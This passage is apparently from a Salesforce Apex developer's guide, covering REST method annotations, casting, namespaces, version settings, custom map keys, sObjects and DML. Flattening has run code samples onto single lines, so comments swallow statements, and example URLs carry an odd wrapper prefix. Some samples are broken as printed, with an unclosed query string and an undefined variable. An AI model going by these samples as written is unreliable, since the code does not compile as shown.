The URL for a namespaced classes contains the namespace. For example, if your class is in namespace abc and the class is mapped to your_url, then the API URL is modified as follows: https://instance.salesforce.com/services/apexrest/abc/your_url/. In the case of a URL collision, the namespaced class is always used.

HttpDelete Annotation
The @HttpDelete annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP DELETE request is sent, and deletes the specified resource. To use this annotation, your Apex method must be defined as global static.

HttpGet Annotation
The @HttpGet annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP GET request is sent, and returns the specified resource. These are some considerations when using this annotation: To use this annotation, your Apex method must be defined as global static. Methods annotated with @HttpGet are also called if the HTTP request uses the HEAD request method.

HttpPatch Annotation
The @HttpPatch annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP PATCH request is sent, and updates the specified resource. 85

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To use this annotation, your Apex method must be defined as global static.

HttpPost Annotation
The @HttpPost annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP POST request is sent, and creates a new resource. To use this annotation, your Apex method must be defined as global static.

HttpPut Annotation
The @HttpPut annotation is used at the method level and enables you to expose an Apex method as a REST resource. This method is called when an HTTP PUT request is sent, and creates or updates the specified resource. To use this annotation, your Apex method must be defined as global static.

Classes and Casting

In general, all type information is available at runtime. This means that Apex enables casting, that is, a data type of one class can be assigned to a data type of another class, but only if one class is a child of the other class. Use casting when you want to convert an object from one data type to another. In the following example, CustomReport extends the class Report. Therefore, it is a child of that class. This means that you can use casting to assign objects with the parent data type (Report) to the objects of the child data type (CustomReport). In the following code block, first, a custom report object is added to a list of report objects. After that, the custom report object is returned as a report object, then is cast back into a custom report object.
Public virtual class Report { Public class CustomReport extends Report { // Create a list of report objects Report[] Reports = new Report[5]; // Create a custom report object CustomReport a = new CustomReport(); // Because the custom report is a sub class of the Report class, // you can add the custom report object a to the list of report objects Reports.add(a); // // // // The following is not legal, because the compiler does not know that what you are returning is a custom report. You must use cast to tell it that you know what type you are returning CustomReport c = Reports.get(0);

// Instead, get the first item in the list by casting it back to a custom report object CustomReport c = (CustomReport) Reports.get(0); } }

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Classes and Collections

Figure 4: Casting Example In addition, an interface type can be cast to a sub-interface or a class type that implements that interface. Tip: To verify if a class is a specific type of class, use the instanceOf keyword. For more information, see Using the instanceof Keyword on page 74.

Classes and Collections

Lists and maps can be used with classes and interfaces, in the same ways that lists and maps can be used with sObjects. This means, for example, that you can use a user-defined data type only for the value of a map, not for the key. Likewise, you cannot create a set of user-defined objects. If you create a map or list of interfaces, any child type of the interface can be put into that collection. For instance, if the List contains an interface i1, and MyC implements i1, then MyC can be placed in the list.

Collection Casting
Because collections in Apex have a declared type at runtime, Apex allows collection casting. Collections can be cast in a similar manner that arrays can be cast in Java. For example, a list of CustomerPurchaseOrder objects can be assigned to a list of PurchaseOrder objects if class CustomerPurchaseOrder is a child of class PurchaseOrder.
public virtual class PurchaseOrder {

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Differences Between Apex Classes and Java Classes

Public class CustomerPurchaseOrder extends PurchaseOrder { } { List<PurchaseOrder> POs = new PurchaseOrder[] {}; List<CustomerPurchaseOrder> CPOs = new CustomerPurchaseOrder[]{}; POs = CPOs;} }

Once the CustomerPurchaseOrder list is assigned to the PurchaseOrder list variable, it can be cast back to a list of CustomerPurchaseOrder objects, but only because that instance was originally instantiated as a list of CustomerPurchaseOrder. A list of PurchaseOrder objects that is instantiated as such cannot be cast to a list of CustomerPurchaseOrder objects, even if the list of PurchaseOrder objects contains only CustomerPurchaseOrder objects. If the user of a PurchaseOrder list that only includes CustomerPurchaseOrders objects tries to insert a non-CustomerPurchaseOrder subclass of PurchaseOrder (such as InternalPurchaseOrder), a runtime exception results. This is because Apex collections have a declared type at runtime. Note: Maps behave in the same way as lists with regards to the value side of the Mapif the value side of map A can be cast to the value side of map B, and they have the same key type, then map A can be cast to map B. A runtime error results if the casting is not valid with the particular map at runtime.

Differences Between Apex Classes and Java Classes

The following is a list of the major differences between Apex classes and Java classes: Inner classes and interfaces can only be declared one level deep inside an outer class. Static methods and variables can only be declared in a top-level class definition, not in an inner class. Inner classes behave like static Java inner classes, but do not require the static keyword. Inner classes can have instance member variables like outer classes, but there is no implicit pointer to an instance of the outer class (using the this keyword). The private access modifier is the default, and means that the method or variable is accessible only within the Apex class in which it is defined. If you do not specify an access modifier, the method or variable is private. Specifying no access modifier for a method or variable and the private access modifier are synonymous. The public access modifier means the method or variable can be used by any Apex in this application or namespace. The global access modifier means the method or variable can be used by any Apex code that has access to the class, not just the Apex code in the same application. This access modifier should be used for any method that needs to be referenced outside of the application, either in the SOAP API or by other Apex code. If you declare a method or variable as global, you must also declare the class that contains it as global. Methods and classes are final by default. The virtual definition modifier allows extension and overrides. The override keyword must be used explicitly on methods that override base class methods. Interface methods have no modifiersthey are always global. Exception classes must extend either exception or another user-defined exception. Their names must end with the word exception. Exception classes have four implicit constructors that are built-in, although you can add others.

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Class Definition Creation

Classes and interfaces can be defined in triggers and anonymous blocks, but only as local.

See Also:
Exceptions in Apex

Class Definition Creation

To create a class in Salesforce: 1. From Setup, click Develop > Apex Classes. 2. Click New. 3. Click Version Settings to specify the version of Apex and the API used with this class. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this class. Use the default values for all versions. This associates the class with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. You can specify an older version of Apex and the API to maintain specific behavior. 4. In the class editor, enter the Apex code for the class. A single class can be up to 1 million characters in length, not including comments, test methods, or classes defined using @isTest. 5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue editing your class. Your Apex class must compile correctly before you can save your class. Classes can also be automatically generated from a WSDL by clicking Generate from WSDL. See SOAP Services: Defining a Class from a WSDL Document on page 299. Once saved, classes can be invoked through class methods or variables by other Apex code, such as a trigger. Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes are made to object names or fields that are used in the class, including superficial changes such as edits to an object or field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If there are no errors, the isValid flag is reset to true.

The Apex Class Editor

When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the Match Case option.

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Naming Conventions

To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.

Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone. Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Naming Conventions
We recommend following Java standards for naming, that is, classes start with a capital letter, methods start with a lowercase verb, and variable names should be meaningful. It is not legal to define a class and interface with the same name in the same class. It is also not legal for an inner class to have the same name as its outer class. However, methods and variables have their own namespaces within the class so these three types of names do not clash with each other. In particular it is legal for a variable, method, and a class within a class to have the same name.

Name Shadowing
Member variables can be shadowed by local variablesin particular function arguments. This allows methods and constructors of the standard Java form:
Public Class Shadow { String s; Shadow(String s) { this.s = s; } // Same name ok setS(String s) { this.s = s; } // Same name ok }

Member variables in one class can shadow member variables with the same name in a parent classes. This can be useful if the two classes are in different top-level classes and written by different teams. For example, if one has a reference to a class C and wants to gain access to a member variable M in parent class P (with the same name as a member variable in C) the reference should be assigned to a reference to P first.

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Namespace Prefix

Static variables can be shadowed across the class hierarchyso if P defines a static S, a subclass C can also declare a static S. References to S inside C refer to that staticin order to reference the one in P, the syntax P.S must be used. Static class variables cannot be referenced through a class instance. They must be referenced using the raw variable name by itself (inside that top-level class file) or prefixed with the class name. For example:
public class p1 { public static final Integer CLASS_INT = 1; public class c { }; } p1.c c = new p1.c(); // This is illegal // Integer i = c.CLASS_INT; // This is correct Integer i = p1.CLASS_INT;

Namespace Prefix
The Salesforce application supports the use of namespace prefixes. Namespace prefixes are used in managed Force.com AppExchange packages to differentiate custom object and field names from those in use by other organizations. After a developer registers a globally unique namespace prefix and registers it with AppExchange registry, external references to custom object and field names in the developer's managed packages take on the following long format:
namespace_prefix__obj_or_field_name__c

Because these fully-qualified names can be onerous to update in working SOQL statements, SOSL statements, and Apex once a class is marked as managed, Apex supports a default namespace for schema names. When looking at identifiers, the parser considers the namespace of the current object and then assumes that it is the namespace of all other objects and fields unless otherwise specified. Consequently, a stored class should refer to custom object and field names directly (using obj_or_field_name__c) for those objects that are defined within its same application namespace. Tip: Only use namespace prefixes when referring to custom objects and fields in managed packages that have been installed to your organization from theAppExchange.

Using Namespaces When Invoking Package Methods

To invoke a method that is defined in a managed package, Apex allows fully-qualified identifiers of the form:
namespace_prefix.class.method(args)

Using the System Namespace

The System namespace is the default namespace in Apex. This means that you can omit the namespace when creating a new instance of a system class or when calling a system method. For example, because the built-in URL class is in the System namespace, both of these statements to create an instance of the URL class are equivalent:
System.URL url1 = new System.URL('http://na1.salesforce.com');

And:
URL url1 = new URL('http://na1.salesforce.com');

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Namespace, Class, and Variable Name Precedence

Similarly, to call a static method on the URL class, you can write either of the following:
System.URL.getCurrentRequestUrl();

Or:
URL.getCurrentRequestUrl();

Note: In addition to the System namespace, there is a built-in System class in the System namespace, which provides methods like assertEquals and debug. Dont get confused by the fact that both the namespace and the class have the same name in this case. The System.debug('debug message'); and System.System.debug('debug message'); statements are equivalent. Using the System Namespace for Disambiguation It is easier to not include the System namespace when calling static methods of system classes, but there are situations where you must include the System namespace to differentiate the built-in Apex classes from custom Apex classes with the same name. If your organization contains Apex classes that youve defined with the same name as a built-in class, the Apex runtime defaults to your custom class and calls the methods in your class. Lets take a look at the following example. Create this custom Apex class:
public class Database { public static String query() { return 'wherefore art thou namespace?'; } }

Execute this statement in the Developer Console:

sObject[] acct = Database.query('SELECT Name FROM Account LIMIT 1); System.debug(acct[0].get('Name'));

When the Database.query statement executes, Apex looks up the query method on the custom Database class first. However, the query method in this class doesnt take any parameters and no match is found, hence you get an error. The custom Database class overrides the built-in Database class in the System namespace. To solve this problem, add the System namespace prefix to the class name to explicitly instruct the Apex runtime to call the query method on the built-in Database class in the System namespace:
sObject[] acct = System.Database.query('SELECT Name FROM Account LIMIT 1); System.debug(acct[0].get('Name'));

Namespace, Class, and Variable Name Precedence

Because local variables, class names, and namespaces can all hypothetically use the same identifiers, the Apex parser evaluates expressions in the form of name1.name2.[...].nameN as follows: 1. The parser first assumes that name1 is a local variable with name2 - nameN as field references. 2. If the first assumption does not hold true, the parser then assumes that name1 is a class name and name2 is a static variable name with name3 - nameN as field references. 3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, and name4 - nameN are field references. 4. If the third assumption does not hold true, the parser reports an error.

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Type Resolution and System Namespace for Types

If the expression ends with a set of parentheses (for example, name1.name2.[...].nameM.nameN()), the Apex parser evaluates the expression as follows: 1. The parser first assumes that name1 is a local variable with name2 - nameM as field references, and nameN as a method invocation. 2. If the first assumption does not hold true: If the expression contains only two identifiers (name1.name2()), the parser then assumes that name1 is a class name and name2 is a method invocation. If the expression contains more than two identifiers, the parser then assumes that name1 is a class name, name2 is a static variable name with name3 - nameM as field references, and nameN is a method invocation.

3. If the second assumption does not hold true, the parser then assumes that name1 is a namespace name, name2 is a class name, name3 is a static variable name, name4 - nameM are field references, and nameN is a method invocation. 4. If the third assumption does not hold true, the parser reports an error. However, with class variables Apex also uses dot notation to reference member variables. Those member variables might refer to other class instances, or they might refer to an sObject which has its own dot notation rules to refer to field names (possibly navigating foreign keys). Once you enter an sObject field in the expression, the remainder of the expression stays within the sObject domain, that is, sObject fields cannot refer back to Apex expressions. For instance, if you have the following class:
public class c { c1 c1 = new c1(); class c1 { c2 c2; } class c2 { Account a; } }

Then the following expressions are all legal:

c.c1.c2.a.name c.c1.c2.a.owner.lastName.toLowerCase() c.c1.c2.a.tasks c.c1.c2.a.contacts.size()

Type Resolution and System Namespace for Types

Because the type system must resolve user-defined types defined locally or in other classes, the Apex parser evaluates types as follows: 1. 2. 3. 4. For a type reference TypeN, the parser first looks up that type as a scalar type. If TypeN is not found, the parser looks up locally defined types. If TypeN still is not found, the parser looks up a class of that name. If TypeN still is not found, the parser looks up system types such as sObjects.

For the type T1.T2 this could mean an inner type T2 in a top-level class T1, or it could mean a top-level class T2 in the namespace T1 (in that order of precedence).

Apex Code Versions

To aid backwards-compatibility, classes and triggers are stored with the version settings for a specific Salesforce.com API version. If an Apex class or trigger references components, such as a custom object, in installed managed packages, the version 93

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settings for each managed package referenced by the class are saved too. This ensures that as Apex, the API, and the components in managed packages evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior. Setting a version for an installed package determines the exposed interface and behavior of any Apex code in the installed package. This allows you to continue to reference Apex that may be deprecated in the latest version of an installed package, if you installed a version of the package before the code was deprecated. Typically, you reference the latest Salesforce.com API version and each installed package version. If you save an Apex class or trigger without specifying the Salesforce.com API version, the class or trigger is associated with the latest installed version by default. If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the class or trigger is associated with the latest installed version of the managed package by default.

Setting the Salesforce API Version for Classes and Triggers

To set the Salesforce.com API and Apex version for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select the Version of the Salesforce.com API. This is also the version of Apex associated with the class or trigger. 3. Click Save. If you pass an object as a parameter in a method call from one Apex class, C1, to another class, C2, and C2 has different fields exposed due to the Salesforce.com API version setting, the fields in the objects are controlled by the version settings of C2. Using the following example, the Categories field is set to null after calling the insertIdea method in class C2 from a method in the test class C1, because the Categories field is not available in version 13.0 of the API. The first class is saved using Salesforce.com API version 13.0:
// This class is saved using Salesforce API version 13.0 // Version 13.0 does not include the Idea.categories field global class C2 { global Idea insertIdea(Idea a) { insert a; // category field set to null on insert // retrieve the new idea Idea insertedIdea = [SELECT title FROM Idea WHERE Id =:a.Id]; return insertedIdea; } }

The following class is saved using Salesforce.com API version 16.0:

@isTest // This class is bound to API version 16.0 by Version Settings private class C1 { static testMethod void testC2Method() { Idea i = new Idea(); i.CommunityId = '09aD000000004YCIAY'; i.Title = 'Testing Version Settings'; i.Body = 'Categories field is included in API version 16.0'; i.Categories = 'test'; C2 c2 = new C2(); Idea returnedIdea = c2.insertIdea(i); // retrieve the new idea Idea ideaMoreFields = [SELECT title, categories FROM Idea WHERE Id = :returnedIdea.Id];

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// assert that the categories field from the object created // in this class is not null System.assert(i.Categories != null); // assert that the categories field created in C2 is null System.assert(ideaMoreFields.Categories == null); } }

Setting Package Versions for Apex Classes and Triggers

To configure the package version settings for a class or trigger: 1. Edit either a class or trigger, and click Version Settings. 2. Select a Version for each managed package referenced by the class or trigger. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. 3. Click Save. Note the following when working with package version settings: If you save an Apex class or trigger that references a managed package without specifying a version of the managed package, the Apex class or trigger is associated with the latest installed version of the managed package by default. You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or trigger. Use Show Dependencies to find where a managed package is referenced by a class or trigger.

Lists of Custom Types and Sorting

Lists can hold objects of your user-defined types (your Apex classes). Lists of user-defined types can be sorted. To sort such a list using the List.sort method, your Apex classes must implement the Comparable interface. The sort criteria and sort order depends on the implementation that you provide for the compareTo method of the Comparable interface. For more information on implementing the Comparable interface for your own classes, see the Comparable Interface.

Using Custom Types in Map Keys and Sets

You can add instances of your own Apex classes to maps and sets. For maps, instances of your Apex classes can be added either as keys or values, but if you add them as keys, there are some special rules that your class must implement for the map to function correctly, that is, for the key to fetch the right value. Similarly, if set elements are instances of your custom class, your class must follow those same rules. Warning: If the object in your map keys or set elements changes after being added to the collection, it wont be found anymore because of changed field values. When using a custom type (your Apex class) for the map key or set elements, provide equals and hashCode methods in your class. Apex uses these two methods to determine equality and uniqueness of keys for your objects.

Adding equals and hashCode Methods to Your Class

To ensure that map keys of your custom type are compared correctly and their uniqueness can be determined consistently, provide an implementation of the following two methods in your class: 95

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The equals method with this signature:

public Boolean equals(Object obj) { // Your implementation }

Keep in mind the following when implementing the equals method. Assuming x, y, and z are non-null instances of your class, the equals method must be: Reflexive: x.equals(x) Symmetric: x.equals(y) should return true if and only if y.equals(x) returns true Transitive: if x.equals(y) returns true and y.equals(z) returns true, then x.equals(z) should return true Consistent: multiple invocations of x.equals(y) consistently return true or consistently return false For any non-null reference value x, x.equals(null) should return false

The equals method in Apex is based on the equals method in Java. The hashCode method with this signature:
public Integer hashCode() { // Your implementation }

Keep in mind the following when implementing the hashCode method. If the hashCode method is invoked on the same object more than once during execution of an Apex request, it must return the same value. If two objects are equal, based on the equals method, hashCode must return the same value. If two objects are unequal, based on the result of the equals method, it is not required that hashCode return distinct values. The hashCode method in Apex is based on the hashCode method in Java. Another benefit of providing the equals method in your class is that it simplifies comparing your objects. You will be able to use the == operator to compare objects, or the equals method. For example:
// obj1 and obj2 are instances of MyClass if (obj1 == obj2) { // Do something } if (obj1.equals(obj2)) { // Do something }

Sample
This sample shows how to implement the equals and hashCode methods. The class that provides those methods is listed first. It also contains a constructor that takes two Integers. The second example is a code snippet that creates three objects of the class, two of which have the same values. Next, map entries are added using the pair objects as keys. The sample verifies that the map has only two entries since the entry that was added last has the same key as the first entry, and hence, overwrote it. The sample then uses the == operator, which works as expected because the class implements equals. Also, some additional map operations are performed, like checking whether the map contains certain keys, and writing all keys and values to the debug log. Finally, the sample creates a set and adds the same objects to it. It verifies that the set size is two, since only two objects out of the three are unique.
public class PairNumbers { Integer x,y; public PairNumbers(Integer a, Integer b) {

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x=a; y=b; } public Boolean equals(Object obj) { if (obj instanceof PairNumbers) { PairNumbers p = (PairNumbers)obj; return ((x==p.x) && (y==p.y)); } return false; } public Integer hashCode() { return (31 * x) ^ y; } }

This code snippet makes use of the PairNumbers class.

Map<PairNumbers, String> m = new Map<PairNumbers, String>(); PairNumbers p1 = new PairNumbers(1,2); PairNumbers p2 = new PairNumbers(3,4); // Duplicate key PairNumbers p3 = new PairNumbers(1,2); m.put(p1, 'first'); m.put(p2, 'second'); m.put(p3, 'third'); // Map size is 2 because the entry with // the duplicate key overwrote the first entry. System.assertEquals(2, m.size()); // Use the == operator if (p1 == p3) { System.debug('p1 and p3 are equal.'); } // Perform some other operations System.assertEquals(true, m.containsKey(p1)); System.assertEquals(true, m.containsKey(p2)); System.assertEquals(false, m.containsKey(new PairNumbers(5,6))); for(PairNumbers pn : m.keySet()) { System.debug('Key: ' + pn); } List<String> mValues = m.values(); System.debug('m.values: ' + mValues); // Create a set Set<PairNumbers> s1 = new Set<PairNumbers>(); s1.add(p1); s1.add(p2); s1.add(p3); // Verify that we have only two elements // since the p3 is equal to p1. System.assertEquals(2, s1.size());

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Chapter 7
Working with Data in Apex
In this chapter ... sObject Types Adding and Retrieving Data DML SOQL and SOSL Queries SOQL For Loops sObject Collections Dynamic Apex Apex Security and Sharing Custom Settings
This chapter describes how you can add and interact with data in the Force.com platform persistence layer. In this chapter, youll learn about the main data type that holds data objectsthe sObject data type. Youll also learn about the language used to manipulate dataData Manipulation Language (DML), and query languages used to retrieve data, such as the (), among other things. This chapter also explains the use of custom settings in Apex.

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sObject Types
In this developer's guide, the term sObject refers to any object that can be stored in the Force.com platform database. An sObject variable represents a row of data and can only be declared in Apex using the SOAP API name of the object. For example:
Account a = new Account(); MyCustomObject__c co = new MyCustomObject__c();

Similar to the SOAP API, Apex allows the use of the generic sObject abstract type to represent any object. The sObject data type can be used in code that processes different types of sObjects. The new operator still requires a concrete sObject type, so all instances are specific sObjects. For example:
sObject s = new Account();

You can also use casting between the generic sObject type and the specific sObject type. For example:
// Cast the generic variable s from the example above // into a specific account and account variable a Account a = (Account)s; // The following generates a runtime error Contact c = (Contact)s;

Because sObjects work like objects, you can also have the following:
Object obj = s; // and a = (Account)obj;

DML operations work on variables declared as the generic sObject data type as well as with regular sObjects. sObject variables are initialized to null, but can be assigned a valid object reference with the new operator. For example:
Account a = new Account();

Developers can also specify initial field values with comma-separated name = value pairs when instantiating a new sObject. For example:
Account a = new Account(name = 'Acme', billingcity = 'San Francisco');

For information on accessing existing sObjects from the Force.com platform database, see SOQL and SOSL Queries in the Force.com SOQL and SOSL Reference. Note: The ID of an sObject is a read-only value and can never be modified explicitly in Apex unless it is cleared during a clone operation, or is assigned with a constructor. The Force.com platform assigns ID values automatically when an object record is initially inserted to the database for the first time. For more information see Lists on page 30.

Custom Labels
Custom labels are not standard sObjects. You cannot create a new instance of a custom label. You can only access the value of a custom label using system.label.label_name. For example:
String errorMsg = System.Label.generic_error;

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For more information on custom labels, see Custom Labels Overview in the Salesforce online help.

Accessing sObject Fields

As in Java, sObject fields can be accessed or changed with simple dot notation. For example:
Account a = new Account(); a.Name = 'Acme'; // Access the account name field and assign it 'Acme'

System generated fields, such as Created By or Last Modified Date, cannot be modified. If you try, the Apex runtime engine generates an error. Additionally, formula field values and values for other fields that are read-only for the context user cannot be changed. If you use the generic sObject type instead of a specific object, such as Account, you can retrieve only the Id field using dot notation. You can set the Id field for Apex code saved using Salesforce.com API version 27.0 and later). Alternatively, you can use the generic sObject put and get methods. See sObject Class. This example shows how you can access the Id field and operations that arent allowed on generic sObjects.
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); insert a; sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; // This is allowed ID id = s.Id; // The following line results in an error when you try to save String x = s.Name; // This line results in an error when you try to save using API version 26.0 or earlier s.Id = [SELECT Id FROM Account WHERE Name = 'Acme' LIMIT 1].Id;

Note: If your organization has enabled person accounts, you have two different kinds of accounts: business accounts and person accounts. If your code creates a new account using name, a business account is created. If your code uses LastName, a person account is created. If you want to perform operations on an sObject, it is recommended that you first convert it into a specific object. For example:
Account a = new Account(Name = 'Acme', BillingCity = 'San Francisco'); insert a; sObject s = [SELECT Id, Name FROM Account WHERE Name = 'Acme' LIMIT 1]; ID id = s.ID; Account convertedAccount = (Account)s; convertedAccount.name = 'Acme2'; update convertedAccount; Contact sal = new Contact(FirstName = 'Sal', Account = convertedAccount);

The following example shows how you can use SOSL over a set of records to determine their object types. Once you have converted the generic sObject record into a Contact, Lead, or Account, you can modify its fields accordingly:
public class convertToCLA { List<Contact> contacts; List<Lead> leads; List<Account> accounts; public void convertType(Integer phoneNumber) { List<List<sObject>> results = [FIND '4155557000' IN Phone FIELDS RETURNING Contact(Id, Phone, FirstName, LastName), Lead(Id, Phone, FirstName, LastName), Account(Id, Phone, Name)]; sObject[] records = ((List<sObject>)results[0]); if (!records.isEmpty()) { for (Integer i = 0; i < records.size(); i++) {

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sObject record = records[i]; if (record.getSObjectType() == Contact.sObjectType) { contacts.add((Contact) record); } else if (record.getSObjectType() == Lead.sObjectType){ leads.add((Lead) record); } else if (record.getSObjectType() == Account.sObjectType) { accounts.add((Account) record); } } } } }

Validating sObjects and Fields

When Apex code is parsed and validated, all sObject and field references are validated against actual object and field names, and a parse-time exception is thrown when an invalid name is used. In addition, the Apex parser tracks the custom objects and fields that are used, both in the code's syntax as well as in embedded SOQL and SOSL statements. The platform prevents users from making the following types of modifications when those changes cause Apex code to become invalid: Changing a field or object name Converting from one data type to another Deleting a field or object Making certain organization-wide changes, such as record sharing, field history tracking, or record types

Adding and Retrieving Data

Apex is tightly integrated with the Force.com platform persistence layer. Records in the database can be inserted and manipulated through Apex directly using simple statements. The language in Apex that allows you to add and manage records in the database is the Data Manipulation Language (DML). In contrast to the SOQL language, which is used for read operationsquerying records, DML is used for write operations. Before inserting or manipulating records, record data is created in memory as sObjects. The sObject data type is a generic data type and corresponds to the data type of the variable that will hold the record data. There are specific data types, subtyped from the sObject data type, which correspond to data types of standard object records, such as Account or Contact, and custom objects, such as Invoice_Statement__c. Typically, you will work with these specific sObject data types. But sometimes, when you dont know the type of the sObject in advance, you can work with the generic sObject data type. This is an example of how you can create a new specific Account sObject and assign it to a variable.
Account a = new Account(Name='Account Example');

In the previous example, the account referenced by the variable a exists in memory with the required Name field. However, it is not persisted yet to the Force.com platform persistence layer. You need to call DML statements to persist sObjects to the database. Here is an example of creating and persisting this account using the insert statement.
Account a = new Account(Name='Account Example'); insert a;

Also, you can use DML to modify records that have already been inserted. Among the operations you can perform are record updates, deletions, restoring records from the Recycle Bin, merging records, or converting leads. After querying for records, you get sObject instances that you can modify and then persist the changes of. This is an example of querying for an existing

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record that has been previously persisted, updating a couple of fields on the sObject representation of this record in memory, and then persisting this change to the database.
// Query existing account. Account a = [SELECT Name,Industry FROM Account WHERE Name='Account Example' LIMIT 1]; // Write the old values the debug log before updating them. System.debug('Account Name before update: ' + a.Name); // Name is Account Example System.debug('Account Industry before update: ' + a.Industry);// Industry is not set // Modify the two fields on the sObject. a.Name = 'Account of the Day'; a.Industry = 'Technology'; // Persist the changes. update a; // Get a new copy of the account from the database with the two fields. Account a = [SELECT Name,Industry FROM Account WHERE Name='Account of the Day' LIMIT 1]; // Verify that updated field values were persisted. System.assertEquals('Account of the Day', a.Name); System.assertEquals('Technology', a.Industry);

DML
DML Statements vs. Database Class Methods
Apex offers two ways to perform DML operations: using DML statements or Database class methods. This provides flexibility in how you perform data operations. DML statements are more straightforward to use and result in exceptions that you can handle in your code. This is an example of a DML statement to insert a new record.
// Create the list of sObjects to insert List<Account> acctList = new List<Account>(); acctList.add(new Account(Name='Acme1')); acctList.add(new Account(Name='Acme2')); // DML statement insert acctList;

This is an equivalent example to the previous one but it uses a method of the Database class instead of the DML verb.
// Create the list of sObjects to insert List<Account> acctList = new List<Account>(); acctList.add(new Account(Name='Acme1')); acctList.add(new Account(Name='Acme2')); // DML statement Database.SaveResult[] sr = Database.insert(acctList, false); // Iterate through each returned result for (Database.SaveResult sr : srList) { if (sr.isSuccess()) { // Operation was successful, so get the ID of the record that was processed System.debug('Successfully inserted account. Account ID: ' + sr.getId()); } else { // Operation failed, so get all errors

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for(Database.Error err : sr.getErrors()) { System.debug('The following error has occurred.'); System.debug(err.getStatusCode() + ': ' + err.getMessage()); System.debug('Account fields that affected this error: ' + err.getFields()); } } }

One difference between the two options is that by using the Database class method, you can specify whether or not to allow for partial record processing if errors are encountered. You can do so by passing an additional second Boolean parameter. If you specify false for this parameter and if a record fails, the remainder of DML operations can still succeed. Also, instead of exceptions, a result object array (or one result object if only one sObject was passed in) is returned containing the status of each operation and any errors encountered. By default, this optional parameter is true, which means that if at least one sObject cant be processed, all remaining sObjects wont and an exception will be thrown for the record that causes a failure. The following helps you decide when you want to use DML statements or Database class methods. Use DML statements if you want any error that occurs during bulk DML processing to be thrown as an Apex exception that immediately interrupts control flow (by using try. . .catch blocks). This behavior is similar to the way exceptions are handled in most database procedural languages. Use Database class methods if you want to allow partial success of a bulk DML operationif a record fails, the remainder of the DML operation can still succeed. Your application can then inspect the rejected records and possibly retry the operation. When using this form, you can write code that never throws DML exception errors. Instead, your code can use the appropriate results array to judge success or failure. Note that Database methods also include a syntax that supports thrown exceptions, similar to DML statements. Note: Most operations overlap between the two, except for a few. The merge operation is only available as a DML statement, not as a Database class method. The convertLead operation is only available as a Database class method, not as a DML statement. The Database class also provides methods not available as DML statements, such as methods transaction control and rollback, emptying the Recycle Bin, and methods related to SOQL queries.

DML Operations As Atomic Transactions

DML operations execute within a transaction. All DML operations in a transaction either complete successfully, or if an error occurs in one operation, the entire transaction is rolled back and no data is committed to the database. The boundary of a transaction can be a trigger, a class method, an anonymous block of code, an Apex page, or a custom Web service method. All operations that occur inside the transaction boundary represent a single unit of operations. This also applies to calls that are made from the transaction boundary to external code, such as classes or triggers that get fired as a result of the code running in the transaction boundary. For example, consider the following chain of operations: a custom Apex Web service method calls a method in a class that performs some DML operations. In this case, all changes are committed to the database only after all operations in the transaction finish executing and dont cause any errors. If an error occurs in any of the intermediate steps, all database changes are rolled back and the transaction isnt committed.

How DML Works

Single vs. Bulk DML Operations You can perform DML operations either on a single sObject, or in bulk on a list of sObjects. Performing bulk DML operations is the recommended way because it helps avoid hitting governor limits, such as the DML limit of 150 statements per Apex 103

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transaction. This limit is in place to ensure fair access to shared resources in the Force.com multitenant platform. Performing a DML operation on a list of sObjects counts as one DML statement for all sObjects in the list, as opposed to one statement for each sObject. This is an example of performing DML calls on single sObjects, which is not efficient. The for loop iterates over contacts, and for each contact, it sets a new value for the Description__c field if the department field matches a certain value. If the list contains more than 150 items, the 151st update call returns an exception that cant be caught for exceeding the DML statement limit of 150.
